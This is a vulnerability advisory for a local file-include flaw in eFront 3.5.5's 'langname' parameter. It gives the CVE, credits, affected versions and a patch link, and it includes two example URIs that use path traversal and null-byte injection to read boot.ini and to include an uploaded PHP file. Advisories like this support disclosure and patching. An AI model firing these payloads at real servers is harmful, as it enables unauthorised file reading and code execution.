eFront 'langname' Parameter Local File Include Vulnerability

Bugtraq ID:	38787
Class:	Input Validation Error
CVE:	CVE-2010-1003
Remote:	Yes
Local:	No
Published:	Mar 17 2010 12:00AM
Updated:	Apr 13 2015 09:02PM
Credit:	7safe's Penetration Testing Team
Vulnerable:	eFront eFront 3.5.5
Not Vulnerable:	eFront eFront 3.6

eFront 'langname' Parameter Local File Include Vulnerability

eFront is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

eFront 3.5.5 and prior are vulnerable.

eFront 'langname' Parameter Local File Include Vulnerability

Attackers may exploit this issue through a browser.

The following example URIs are available:

http://www.example.com/efront/www/editor/tiny_mce/langs/language.php?langname=a/../../../../../../boot.ini%00
http://www.example.com/efront/www/editor/tiny_mce/langs/language.php?langname=../../../../upload/student/message_attachments/Sent/1266862529/malicious.php.inc%00

eFront 'langname' Parameter Local File Include Vulnerability

Solution:
Updates are available to address this issue. Please see the references for more information.


eFront eFront 3.5.5

• eFront efront_3.5.x_editor_security_patch.zip
  http://sourceforge.net/projects/efrontlearning/files/efront_3.5.x_edit or_security_patch.zip/download

eFront 'langname' Parameter Local File Include Vulnerability

References:

• eFront Homepage (eFront)
  
• eFront-learning PHP file inclusion vulnerability (Core Security Technologies)
  
• Important security fix for all 3.5.x versions (eFront)
  
• CORE-2010-0311 - eFront-learning PHP file inclusion vulnerability (CORE Security Technologies Advisories )